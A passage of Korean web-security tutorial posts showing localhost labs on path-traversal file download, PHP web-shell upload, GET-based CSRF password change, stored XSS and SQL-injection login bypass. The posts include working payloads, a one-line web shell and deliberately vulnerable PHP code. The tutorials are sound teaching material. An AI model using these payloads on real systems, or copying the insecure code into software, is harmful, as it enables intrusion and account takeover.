스크립트가 제대로 동작하는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상작동하여 경고 창을 성공적으로 띄우며 XSS 공격에 성공했음을 확인합니다.

파일 다운로드(File Download) 취약점

0xSecurity — Wed, 6 Aug 2025 17:27:18 +0900

파일 다운로드(File Download) 취약점이란?

서버에서 임의의 파일을 다운로드 할 수 있는 취약점을 File Download 라고 합니다.

파일 다운로드(File Download) 취약점이 발생할 수 있는 곳

파일 다운로드가 가능한 곳

실습 - 파일 다운로드(File Download) 취약점 알아보기

실습을 통해서 파일 다운로드(File Download) 취약점이 무엇인지 알아보겠습니다. 우선 사용자들이 글쓰기와 파일 업로드를 할 수 있는 게시판이 있다고 가정합니다.

글 작성 및 파일 업로드를 할 수 있는 게시판 페이지

해당 게시판에서 이미지 파일을 하나 업로드 합니다.

이미지 파일 업로드

이미지 파일을 업로드한 뒤 해당 게시판에 접속하면 파일 다운로드 버튼이 있는 것을 알 수 있으며 마우스 우클릭을 클릭하여 링크 주소 복사를 해줍니다.

다운로드 버튼 우클릭 했을 때

복사한 링크 주소를 확인해 보면 file_down 파라미터 값이 업로드했던 파일 이름인 것을 알 수 있고 해당 링크 주소를 URL 입력 창에 붙여넣기 하여 접근하면 파일 이름에 해당하는 파일이 다운로드 되는 것을 볼 수 있습니다.

http://localhost/file.php?file_down=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%A1%9C%EB%93%9C%EC%9A%A9+%EC%82%AC%EC%A7%84.png

파일 다운로드 버튼 눌렀을 때

다시 복사했던 링크 주소를 가져와서 이번엔 file_down 파라미터 값에 기존 파일 이름이 아닌 ../index.php를 입력하면 원래라면 다운로드할 수 없는 index.php 파일을 다운로드할 수 있는 것을 알 수 있습니다.

[링크 주소 변경 전]

http://localhost/file.php?file_down=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%A1%9C%EB%93%9C%EC%9A%A9+%EC%82%AC%EC%A7%84.png

[링크 주소 변경 후]

http://localhost/file.php?file_down=../index.php

임의 파일 다운로드

다운로드한 index.php 파일을 메모장으로 열어보면 실제로 index.php 파일 소스코드가 다운로드 된 것을 알 수 있으며 index.php 파일의 모든 소스코드가 노출되고 있는 것을 확인할 수 있습니다.

index.php 소스코드

원래라면 해당 게시글 작성자가 업로드한 파일만 다운로드할 수 있어야 하는데 다른 경로에 있는 파일인 index.php 파일을 다운로드할 수 있었습니다. 이런 식으로 파일 다운로드를 이용하여 임의의 파일을 다운로드할 수 있는 취약점을 파일 다운로드 취약점이라고 합니다.

파일 다운로드(File Download) 공격 설명

유닉스 계열 운영체제의 경우 디렉토리 경로 구분을 다음과 같이 합니다.

구분	유닉스 계열
최상위 디렉토리	/
디렉토리 구분	/
현재 디렉토리 이동	./
상위 디렉토리 이동	../

ex) http://localhost/test/filedownload/../hi.php → http://localhost/test/hi.php

실습 과정 중 file_down 파라미터 값에 ../index.php 를 입력하여 index.php 파일을 다운로드할 수 있는 과정이 있었습니다. 이때 사용된 ../ 표현식이 상위 디렉토리로 이동이라는 의미를 가지고 있습니다. 즉, ../index.php 는 상위디렉토리에 있는 index.php 파일을 의미합니다.

http://localhost/file.php?file_down=../index.php <!--상위 디릭토리에 있는 index.php 파일-->

파일 다운로드를 처리하는 file.php 파일의 소스코드를 보겠습니다.

<?php
    if (isset($_GET['file_down'])) {
        $file = $_GET['file_down']; // [취약한 부분] 파일명을 필터링 없이 그대로 사용 중
        $filePath = "data/" . $file;

        if (file_exists($filePath)) {
            header("Content-Disposition: attachment; filename=" . basename($file));
            header("Content-Type: application/octet-stream");
            readfile($filePath);
            exit;
        } else {
            echo "File not found.";
        }
    }
?>

file.php 소스코드를 확인해 보면 파일 다운로드는 data 디렉토리 내부에 있는 파일들을 다운로드 하고 있음을 알 수 있습니다. 즉 다운로드할 파일의 이름이 TEST.png 이면 다운로드할 파일이 있는 경로는 다음과 같습니다.

[파일명 입력]

http://localhost/file.php?file_down=TEST.png

[다운로드 받을 파일이 있는 경로]

http://localhost/data/TEST.png

file_down 파리미터 값에 ../index.php 를 입력하게 되면 다운로드 받을 파일이 있는 경로는 다음과 같이 됩니다.

[파일명 입력]

http://localhost/file.php?file_down=../index.php

[다운로드 받을 파일이 있는 경로]

http://localhost/data/../index.php

[최종 경로]

http://localhost/index.php

위 최종 경로를 보게되면 결국 index.php 파일을 다운로드 받을 수 있다는 것을 알 수 있습니다.

[*참고]

(조금 헷갈릴 수 있지만 실제 서버의 웹 루트(web root) 경로는 /var/www/html/public/ 입니다. 바로 위에서 설명한 경로는 설명을 위한 예시이니 상위 디렉토리로 이동을 의미하는 ../ 을 이용해서 다른 경로에 있는 파일을 가져올 수 있구나 정도로 이해 해 주시면 될 것 같습니다.)

마무리

실습을 통해서 파일 다운로드(File Download) 취약점을 알아봤는데 해당 글은 파일 다운로드 취약점이 어떤 것인지 간단하게 알아보는 글입니다. 다른 글에서 파일 다운로드 취약점을 조금 더 깊이 다뤄보고 대응 방안도 함께 알아보겠습니다.

File Upload 취약점

0xSecurity — Sun, 27 Jul 2025 15:43:00 +0900

| File Upload 취약점

공격자가 원하는 임의의 파일을 업로드할 수 있는 취약점
ex) 서버에서 실행시킬 수 있는 스크립트 파일

| File Upload 취약점이 발생할 수 있는 곳

파일 업로드를 할 수 있는 곳.

ex) 프로필 사진, 게시판, 서류 제출

취약점 발생 원인: 파일을 업로드 받을 때 별다른 검증, 검사를 하지 않기 때문에 발생 합니다.

| 공격 시나리오

서버 측 실행 파일
- 서버에서 사용하는 언어를 알아낸 뒤, 해당 언어로 우리가 원하는 코드를 실행할 수 있도록 할 수 있습니다.
Phising
- HTML 파일을 올림으로써 피싱 공격을 유도할 수 있습니다.
Deface
- 웹 사이트를 무단으로 변경하거나 변조하는 공격을 말합니다. 보안뉴스(링크참고) 에 따르면 화면을 마음대로 바꾸고 해킹에 성공했음을 알리는데 사용되는 공격을 말합니다.
XSS
- 파일에 대한 검사를 하지 않아서 파일 업로드 취약점이 있을 때, 악성 스크립트 파일을 올릴 수 있게 되며 올린 파일의 경로로 접속하면 해당 스크립트가 실행됩니다.
Dos (Denial of Service) - 서비스 거부 공격
- 파일 업로드로 서버에 매우 큰 파일을 올림으로써 서버가 재기능을 하지 못하도록 합니다.

❓ Web Shell 공격

파일 업로드 공격 중에 서버 측 실행 코드에 해당하는 Web Shell 공격에 대해서 설명하겠습니다.

Web Shell 공격은 간단하게 말해서 사용자가 웹서버에서 동작하는 스크립트를 이용하여 서버에 접근한 뒤, 불법적인 행위를 하는 공격을 말합니다. 이러한 Web Shell 공격은 웹 서버가 사용하고 있는 언어(php, jsp, asp 등등)가 사용된 스크립트 파일을 업로드 함으로써 서버에게 명령하게 됩니다. 서버에게 명령할 수 있기 때문에 악의적인 사용자들은 이를 악용하여 불법적인 행위를 저지를 수 있습니다.

Web Shell 공격의 핵심
1. 웹 서버 측 실행 코드를 업로드 합니다.
2. 업로드된 파일의 경로를 알아야 합니다.

Web Shell 공격은 웹 서버 측 실행 코드를 이용하여 서버에 접근할 수 있습니다. 파일 업로드를 통해 Web Shell 파일을 업로드하면 해당 경로를 알아야 하는데 경로를 알아야 Web Shell 을 실행할 수 있기 때문입니다.

| File Upload 취약점(실습)

간단한 실습을 통해 File Upload(파일 업로드) 취약점이 무엇인지에 대해서 알아보겠습니다. 우선 게시판에 글을 쓸 수 있는 웹사이트가 있고 파일 업로드 기능이 있다고 가정합니다. 이때 웹 쉘(WebShell)파일을 업로드합니다. (웹 쉘 파일 내용은 게시판 사진 아래를 참고해 주세요.)

파일 업로드 기능이 있는 게시판

[ webshell.php 안에 내용]

// webshell.php
<?php 
	echo system($_GET['cmd']);
?>

webshell.php 코드를 보면 정말 간단한 웹 쉘 코드입니다. 해석을 해보면 php 내장 함수인 system 함수가 cmd 파라미터에 들어온 값을 서버의 명령어로 실행하게 됩니다. ex) webshell.php?cmd=___내용부분___ 내용부분에 입력된 값들이 서버의 운영체제 명령어로 실행된다는 의미입니다. 이를 이해하고 이제 파일을 업로드 해보겠습니다.

파일 업로드한 뒤 게시글에 접속했을 때

파일 업로드를 한 뒤의 해당 게시글에 접속해 보면 위와 같이 나오는 것을 볼 수 있습니다. 웹 쉘 공격에 핵심 중 하나는 '웹쉘 코드가 업로드된 경로를 알아야 한다'라고 했었습니다. 따라서 업로드 한 파일이 어디에 있는지를 찾아야 합니다. 찾는 방법은 파일 다운로드 또는 파일을 다운로드 할 수 있는 그런 버튼이 있다면 마우스 우클릭을 하여 링크 주소 복사를 해줍니다.

파일을 다운받을 수 있는 버튼에 우클릭 했을 때

이제 복사한 주소를 주소창에 입력해서 접속을 해보면 다음과 같이 에러가 나오는데 이는 파라미터값이 전달되지 않았기 때문입니다.

파일 경로를 복사하여 주소창에 입력했을 때

아까 봤던 webshell 코드 내용을 보면 파라미터 이름은 cmd 였습니다. 이제 파라미터 값으로 사용자의 현재 경로를 알려주는 명령어인 pwd를 입력하여 서버에서 명령어가 실행되는지 확인해봅니다.

파리미터 값으로 현재 경로를 출력해주는 명령어를 입력했을 때

위 사진을 보면 사용자가 파라미터에 값(명령어)을 줬을 때 해당 명령어가 실행되어 화면에 출력되는 것을 볼 수 있습니다.

[ FileUpload 기능 구현 코드]

if (isset($_FILES['file']) && $_FILES['file']['error'] === 0) {
            $file = $_FILES['file'];
            $fileName = basename($file['name']);
            $fileTmpName = $file['tmp_name'];
            $fileSize = $file['size'];
}

위 코드는 실습 사이트에서 사용했던 파일 업로드 기능을 처리하는 코드입니다. 실습에서 .php 파일을 업로드 할 수 있었던 이유는 파일 확장자를 검사하는 로직이 없었기 때문입니다. 따라서 웹쉘 파일을 이용하여 악용하는 것을 방지하기 위해서는 파일 확장자를 검사하는 로직을 추가해야 합니다.

실습을 통해 파일 업로드 취약점에 대해서 알아봤는데 파일 업로드 취약점도 여러 우회 기법이 존재합니다. 다른 글에서 우회 기법들을 알아보면서 어떻게 대응할 수 있는지도 함께 알아보겠습니다.

CSRF (Cross-Site Request Forgery)

0xSecurity — Tue, 3 Jun 2025 17:29:33 +0900

| CSRF

요청을 위조하여 서버로부터 해당 요청을 하게 만드는 공격.

| CSRF가 발생할 수 있는 곳

모든 요청에서 CSRF는 발생할 수 있습니다.

CSRF vs XSS

CSRF	XSS
서버측 공격	클라이언트측 공격
스크립트 삽입하지 않아도 실행됨.	스크립트를 삽입하여 하는 공격

+) CSRF, XSS는 서로 다른 종류의 공격이지만 CSRF를 XSS와 연계했을때 시너지가 좋습니다.

▶️ 공격방식(요청 위조시)

CSRF는 요청을 위조하여 서버 측에서 실행시키도록 하는 공격입니다. 이때 GET Method, POST Method 2가지 방법으로 CSRF 공격을 수행할 수 있습니다. 실습을 해보면서 GET Method, POST Method 각각에서 어떻게 CSRF 공격이 수행되는지 살펴보겠습니다.

CSRF - GET Method 찾아보기

어떤 웹사이트에서 정말 간단한 비밀번호 변경 페이지가 있다고 가정합니다.

비밀번호 변경페이지

이때 새로운 비밀번호를 입력해 주고 비밀번호 변경을 했을 때 요청, 응답 데이터를 취득하여 확인합니다.

비밀번호 변경 시 요청 및 응답 데이터(1)

비밀번호 변경 시 요청 및 응답 데이터(2)

요청 데이터 부분을 확인해 보면 데이터 전송 방식이 POST Method인 것을 알 수 있으며 파라미터 정보들 또한 알 수 있습니다. 이제 해당 요청을 보낼 때 POST Method가 아닌 GET Method 방식으로 데이터를 전송하여 GET Method 방식으로도 비밀번호 변경이 가능한지 확인합니다. (이전 비밀번호: 1234, 변경할 비밀번호: 123)

GET Method로 비밀번호 변경을 시도 했을 때 요청 및 응답 데이터

바로 위 사진과 같이 GET Method 형태로 바꾼 뒤 해당 요청을 전송을 합니다. 변경된 비밀번호로 로그인을 해보면 성공적으로 비밀번호가 바뀐 것을 알 수 있습니다.

GET Method로 변경된 비밀번호 입력

GET Method를 통해 비밀번호 변경을 요청할 때 URL 링크를 확인하면 다음과 같습니다.

/update_info.php?new_password=123

저는 localhost 환경에서 테스트하고 있기 때문에 전체 주소는 다음과 같습니다.

http://localhost/update_info.php?new_password=123

[중요]

만약 여기서 해당 웹사이트를 이용하고 있는 어떤 사용자가 바로 위 주소로 접속하게 된다면? => 비밀번호가 123으로 바뀌게 됩니다.

로그아웃을 한 뒤 다른 계정으로 접속하고 해당 링크를 클릭하여 정말 비밀번호가 변경되는지 확인해 보겠습니다. 현재 접속한 계정 정보는 다음과 같습니다. (사용자 아이디: sudo, 비밀번호: 1234)

이 상태에서 사용자가 비밀번호를 변경하는 URL 링크 주소에 접속해 보겠습니다. 페이로드는 다음과 같습니다.

http://localhost/update_info.php?new_password=change

비밀번호 변경 URL 링크 입력

위와 같이 주소를 입력하고 접근 해보면 다음과 같이 패스워드가 변경되는 것을 알 수 있습니다.

링크에 접속했더니 비밀번호가 변경됨.

정말로 비번이 바뀌었는지 확인하기 위해서 기존 비밀번호인 1234를 입력하고 로그인을 시도하면 다음과 같이 로그인에 실패하는 것을 볼 수 있습니다.

원래 비밀번호로 로그인 시도

이번엔 바뀐 비밀번호인 change를 입력하고 로그인을 시도해 보면 정말로 비밀번호가 바뀐 것을 알 수 있습니다.

바뀐 비밀번호로 로그인 시도

웹사이트 사용자가 누군가가 보낸 URL 링크에 접속했을 때 위 과정처럼 비밀번호를 변경하는 주소였다면 사용자는 링크에 접속하는 것만으로도 비밀번호가 변경되게 됩니다. 이처럼 사용자의 요청을 위조하여 자신의 의지와 무관하게 공격자가 의도한 행위를 하도록 하는 것이 CSRF 공격입니다.

지금까지 실습 과정을 통해 GET Method를 통한 CSRF 공격을 살펴봤습니다. 만약 GET Method를 사용할 수 없다면 다른 방법을 사용해야 하는데 그 방법은 다른 글에서 찾아뵙도록 하겠습니다.

XSS (Cross-Site Scripting)

0xSecurity — Tue, 6 May 2025 12:34:37 +0900

| XSS

임의의 스크립트를 삽입하여 이용자의 브라우저에서 실행시키는 공격. (클라이언트 측)

*** XSS는 웹 브라우저에서 실행되는 코드에 의해 발생하기 때문에 클라이언트 측 공격입니다.

| XSS - 종류

Stored XSS
Reflected XSS
DOM-based XSS

| XSS 취약점이 발생하는 곳.

❗데이터가 저장되고, 출력되는 곳

ex) 게시판 글 작성, 회원가입 등등

즉, 정리하면 사용자가 작성한 데이터가 화면에 응답이 되고 있다면 XSS 취약점을 확인해 봐야 합니다. 이번 글에선 XSS 종류 중 Stored XSS에 해당하는 내용들을 알아가 보면서 XSS가 무엇인지 알아보겠습니다.

▶️Stored XSS

서버에 스크립트를 저장한 뒤, 스크립트가 포함된 페이지 요청 시 실행되는 공격

Stored XSS 찾아보기

작성한 데이터가 화면에 응답 되는지 확인.
특수문자 체크
Javascript

Stored XSS를 찾는 방법을 순서대로 정리했습니다. 해당 과정을 통해 XSS 취약점을 찾을 수 있는데 간단한 실습을 통해
Stored XSS 취약점을 어떻게 찾고 무엇인지에 대해서 알아보겠습니다.

1️⃣ 작성한 데이터가 화면에 응답 되는지 확인.

현재 어떤 웹 사이트에서 글을 작성할 수 있는 기능이 있는 상황입니다.

게시판에서 사용자가 글을 작성하는 과정

게시판에서 글을 작성할 때 위와 같이 글을 작성하게 될 텐데 이제 글을 생성하고 해당 게시물에 접속을 하여 사용자가 입력한 데이터가 화면에 출력되는지 확인합니다.

글 생성되었을 때

생성된 게시물에 접속했을 때

사용자가 작성한 게시물에 접속을 해보면 입력했던 데이터가 화면에 출력되고 있는 것을 볼 수 있습니다. 이런 경우에 이제 XSS 취약점을 확인해 봐야 합니다. 1번 단계를 끝냈으니 2번 단계로 넘어가겠습니다.

2️⃣ 특수문자 체크

2번 과정에서는 특수문자 4개 <, ', ", >를 삽입하여 해당 특수문자가 어떠한 필터링이 없이 그대로 사용되고 있는지 확인을 하게 됩니다. 각 특수문자들은 HTML 태그 기능을 수행할 수 있도록 해주는 특수문자이며 스크립트 삽입할 때 HTML 태그 기능을 사용해야 하기 때문에 먼저 체크를 하는 것입니다.

게시글 생성 시 특수문자 4개 삽입

특수 문자를 삽입한 글을 생성한 후에 게시물에 접속을 해보면 다음과 같습니다.

특수문자 삽입한 게시물에 접속했을 때

특수문자가 화면에 출력되고 있지만 이 과정에서는 소스코드를 확인하여 어떠한 필터링이 작용되고 있는지 아닌지 확인을 해야 합니다. (저는 Burp Suite를 사용해서 확인했습니다.)

특수문자 삽입한 게시물에 접속했을 때 응답 데이터

빨간색 박스 부분을 보면 특수문자 <, ', ", >가 그대로 사용되고 있는 것을 알 수 있습니다. 앞서 말한 것처럼 해당 특수문자들을 가지고 HTML 태그 기능을 수행할 수 있다고 말했었습니다. 이렇게 2번 과정은 특수문자가 그대로 사용되고 있는지를 체크하게 됩니다.

비교를 위해 만약 어떠한 필터링이 작용해서 특수문자를 사용할 수 없는 상황도 확인해 보겠습니다.

특수문자 <, ', ", >이 어떠한 필터링으로 인해 다른 기호들로 바뀐 상황

바로 위 사진을 특수 문자들이 HTML Entity로 치환이 된 상황입니다. HTML Entity는 XSS 대응 방안 중 하나입니다. 해당 사진은 삽입했던 특수문자가 어떠한 대응 방안 때문에 다른 문자들로 치환이 되었고 이로 인해 태그 기능을 사용할 수 없단 것을 보여드리기 위해서입니다. 바로 아래 표는 각 특수기호가 어떠한 HTML Entity로 치환되었는지 간단하게 적었습니다.

참고

<	<
>	>
'	' or '
"	"

이제 다시 돌아가서, 특수문자 <, ', ", >이 그대로 사용되었을 때 이어서 3번 과정을 진행합니다.

3️⃣ Javascript

특수문자가 그대로 사용되고 있다는 것은 HTML 코드를 삽입할 수 있다는 것을 의미합니다. 따라서 이때 스크립트를 삽입합니다. 여기서 주의해야 할 점은 POC 코드를 사용해야 한다는 것입니다.

POC 코드를 사용하는 이유는 해당 취약점을 통해 문제가 발생할 수 있다는 것을 보여주기 위함입니다. 간단하게 말하면 일부러 악의적인 스크립트를 사용해서 확인을 하면 안 되기 때문에 POC 코드를 사용하게 됩니다. (POC 코드는 모의해킹을 할 때 취약점을 이용해서 공격이 가능하다는 것을 보여주는 코드입니다.)

다음과 같이 스크립트를 삽입합니다.

<script>alert(1)</script> // 해당 스크립트는 알림창을 띄웁니다.

게시글 작성 시 스크립트를 삽입했을 때

이처럼 스크립트를 삽입하여 글을 생성하고 해당 페이지에 접속해 보겠습니다.

스크립트가 삽입된 페이지에 접속했을 때

스크립트가 삽입된 페이지에 접속했더니 삽입했던 스크립트가 실행되는 것을 볼 수 있습니다. 스크립트 삽입이 가능했고 실행까지 정상적으로 이뤄졌기 때문에 XSS 취약점이 존재한다고 판단할 수 있으며 해당 XSS는 저장되어 있던 스크립트가 실행된 케이스이므로 Stored XSS에 해당합니다.

지금까지 XSS 종류 중 Stored XSS에 대해서 알아봤습니다. 다른 글에서 Reflected XSS, DOM-based XSS에 대해서도 알아보고 대응 방안에 대해서도 설명하겠습니다.

SQL Injection

0xSecurity — Wed, 9 Apr 2025 19:22:54 +0900

| SQL Injection

웹 애플리케이션의 취약점을 이용하여 악의적인 SQL 코드를 삽입하는 것. 이를 통해서 데이터 베이스에 비정상적인 접근을 하는 것.

| SQL Injection 종류

SQL Injection
Blind SQL Injection
Error based Injection
Time based Injection

| SQL Injection 알아보기 (실습)

login_func.php (sql 쿼리 부분) - 로그인 로직

$sql = "select * from member_table where id='$userid' and pw='$userpw'";
        $result = mysqli_query($db_conn, $sql);
        $row = mysqli_fetch_array($result);
        
        if($row){
            session_regenerate_id(true);
            $_SESSION['userid'] = $row['id'];
            return true;
        } else {
            echo "<script>alert('로그인 실패')</script>";
            return false;
        }

위 소스코드는 로그인 시 로그인을 처리하는 코드입니다. 해당 로그인 로직을 가진 웹 페이지에서 SQL Injection 이 어떻게 이뤄지는 간단하게 알아보겠습니다.

▶️ 정상적인 로그인 과정

로그인 페이지

로그인 페이지에서 아이디와 비밀번호를 입력하면 쿼리문에 아이디 비밀번호에 입력 값들이 들어가게 됩니다. 즉, 다음과 같습니다.

"select * from member_table where id='아이디' and pw='비밀번호'"

만약 아이디가 mega이고, 비밀번호가 1234인 계정으로 로그인을 하면 다음과 같이 쿼리문이 이뤄집니다.

"select * from member_table where id='mega' and pw='1234'"

해당 계정으로 로그인을 하면 정상적으로 로그인이 되는 것을 볼 수 있습니다.

로그인 성공 시

이번엔 로그인을 시도할 때 비정상적인 로그인 방법으로 시도 해보겠습니다.

▶️ 비정상적인 로그인 과정

❓만약 다음과 같이 아이디와 비밀번호를 입력했다면?

아이디 : mega’ or ‘1’=’1

비밀번호 : 1234

비정상적인 로그인 시도

이렇게 비정상적인 방법으로 로그인을 시도해보겠습니다.

비정상정인 아이디로 로그인 성공

분명 원래 아이디가 mega인데 mega' or '1'='1 을 입력했더니 로그인이 된 상황입니다.

이런 식으로 임의의 쿼리를 삽입하여 DB에 비정상적인 접근을 하는 것을 SQL Injection 이라고 합니다.

이제 SQL Injection이 어떻게 가능한 건지에 대해서 알아보겠습니다.

❓SQL Injection이 어떻게 발생했는가?

로그인을 할 때, 사용자가 아이디와 비밀번호를 입력하면 그 정보를 가지고 DB 안에 있는 정보와 비교하여 일치하면 로그인, 불일치하면 로그인 실패로 이어지게 됩니다. 정상적인 로그인 시도와, 비정상적인 로그인 시도를 했을 때의 DB가 어떤 응답을 하고 있는지 살펴보면서 SQL Injection에 대해서 이해해 보겠습니다.

우선, DB에 있는 회원정보 테이블입니다.

회원 정보 테이블 - 계정 정보가 들어가 있습니다.

아까 정상적인 로그인 시도할 때 아이디: mega, 비밀번호: 1234로 입력하고 로그인을 했었습니다. 이 때의 sql 쿼리를 DB에게 전송한다면 다음과 같은 결과를 반환 합니다.

아이디와 비밀번호를 입력했을 때

결과

결과 사진을 보면 sql 쿼리에 의해 아이디가 mega, 비밀번호가 1234인 계정을 가져오고 있는 모습입니다. 이번엔 잘못된 입력으로 로그인했을 때 어떤 결과값을 반환하는지 확인해 보겠습니다.

잘못된 아이디, 비밀번호 입력했을 때

결과

잘못된 아이디를 통해 비정상적인 로그인을 할 때와 정상적인 아이디를 통해 로그인을 시도할 때 DB는 같은 결과를 반환하고 있기에 로그인이 가능했던 것입니다. or '1'='1을 추가했는데 왜 같은 결과가 나오지?라고 생각해 볼 수 있는데 이는 비교 연산자의 우선순위 때문에 발생하게 됩니다.

id='mega' or '1'='1' and pw='1234' 즉, 빨간색으로 밑줄 되어있는 부분에서 연산이 먼저 일어나기 때문입니다.

'1'='1' and pw='1234'을 비교하면, and 조건은 비교하는 두 조건이 모두 참이 되어야 하며 1과 1은 같고 비밀번호(pw)도 1234가 맞기 때문에 true가 되게 됩니다. 그다음에 or을 연산하는데 or 연산자는 비교할 때 하나라도 참이라면 참이 되게 됩니다.

id='mega' or ('1'='1' and pw='1234') 이렇게 연산이 이뤄지게 되는데 id가 mega인 계정이 DB 내부에 있기 때문에 id='mega'는 참이 되게 됩니다. or 연산은 하나라도 참이면 참이기 때문에 where절이 참이되며 아이디가 mega인 계정을 DB는 반환하게 됩니다.

*** id='mega'(이미 여기가 참) or (or 뒤에 falsty한 값이 와도 or 앞에가 이미 참이므로 전체는 참) ***

다시 정리하면, id가 mega인 계정이 DB 내부에 있고(참), or 연산자로 인해 sql 쿼리의 where 절이 전체 적으로 참이 되어 id가 mega인 계정을 가져오게 되는 것입니다. 따라서 해당 로그인 인증 로직을 별다른 필터링없이 그대로 사용 중이라면 비밀번호를 아무거나 입력해도 로그인이 가능하게 됩니다. 아이디만 알고 있다면 sql 쿼리의 where 조건이 전부 참이 되도록 만들 수 있기 때문에 DB는 정상적으로 로그인했을 때와 같은 결과를 반환하게 됩니다.

정말로 아무 비밀번호를 입력했을 때 정상적으로 로그인 했을 때 와 같은 결과를 반환하는지 확인해보겠습니다.

아이디: ' or '1'='1 / 비밀번호: (아무거나 입력)

결과

결과를 확인해보면 DB가 정상적으로 로그인했을 때와 같은 결과를 반환하고 있다는 것을 알 수 있습니다.

이렇게 간단한 실습을 통해 SQL Injection에 대해서 알아봤는데 해당 글은 "SQL injection이 이런 거구나" 정도로 생각하시면 될 거 같습니다. 앞으로는 SQLInjection 종류에 대해 설명하고, 해당 SQL Injection 공격 기법이 어떤 식으로 사용되며 어떻게 DB 데이터를 추출까지 가게 되는지에 대해서 다뤄보겠습니다.